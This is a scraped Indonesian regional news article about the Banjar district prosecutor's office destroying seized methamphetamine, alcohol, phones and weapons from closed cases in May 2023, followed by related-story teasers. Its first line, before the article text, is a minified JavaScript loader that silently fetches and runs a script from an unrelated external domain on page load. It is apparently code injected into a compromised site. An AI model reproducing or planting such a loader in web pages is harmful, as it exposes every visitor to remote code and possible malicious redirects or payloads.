(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur ikut memusnahkan barang bukti dari 56 perkara berupa narkotika dan psikotropika di halaman kantor Kejaksaan Negeri (Kejari) Kabupaten Banjar, Rabu (31/5/2023) pagi.
Sabu seberat 92,9605 gram dimusnahkan Kajari bersama Forkopimda Banjar dan stakeholder terkait dengan cara diblender dengan cairan deterjen.
Selain narkotika, sejumlah barang bukti lainnya yang turut dimusnahkan alkohol 95 persen dengan cara ditumpahkan kedalam ember.
Handphone dimusnahkan menggunakan palu, toples kosmetik dan pakaian pelaku kasus perlindungan anak dimusnahkan dengan cara dibakar. Sementara senjata tajam (sajam) terdiri atas senapan angin, pisau, gunting, mata bor dan lainnya dimusnahkan menggunakan mesin pemotong.
Baca juga: PB HYD MYD Binuang Kampium Turnamen Bulutangkis Bupati HSU Cup Open 2023
Kajari Banjar M Bardan mengatakan, sebanyak 101 putusan perkara yang sudah memiliki kekuatan hukum tetap (inkracht) dimusnahkan adalah sebagai wujud eksekusi dari setiap putusan yang diterima oleh pihaknya.
Diungkapkannya, dari total 101 perkara periode 2021-2022 tersebut 56 perkara adalah kasus narkotika dan psikotropika, sementara 45 lainnya adalah kasus pencurian, sajam dan asusila. Lebih lanjut, Bardan juga meminta dukungan kepada Pemkab Banjar dan unsur terkait untuk membangun rumah rehab narkotika.
”Sehingga nantinya pelaku dan korban kecanduan narkoba dapat direhab ditempat tersebut,” harap dia.
Sementara Bupati Banjar H Saidi Mansyur berharap rencana pembangunan rumah rehab di Kabupaten Banjar dapat terwujud, melalui koordinasi dan komunikasi dengan BNN pusat, guna meminimalisir narkotika di daerah.
Rincian barang bukti yang dimusnahkan antara lain 92,9605 gram sabu,120 botol alkohol, 59 buah handphone kasus kejahatan perjudian, narkotika dan psikotropika, 45 toples kosmetik kasus penipuan, 39 sajam serta 27 lembar baju, celana dan kain kasus perlindungan anak. (kanalkalimantan.com/diskominfobanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
This website uses cookies.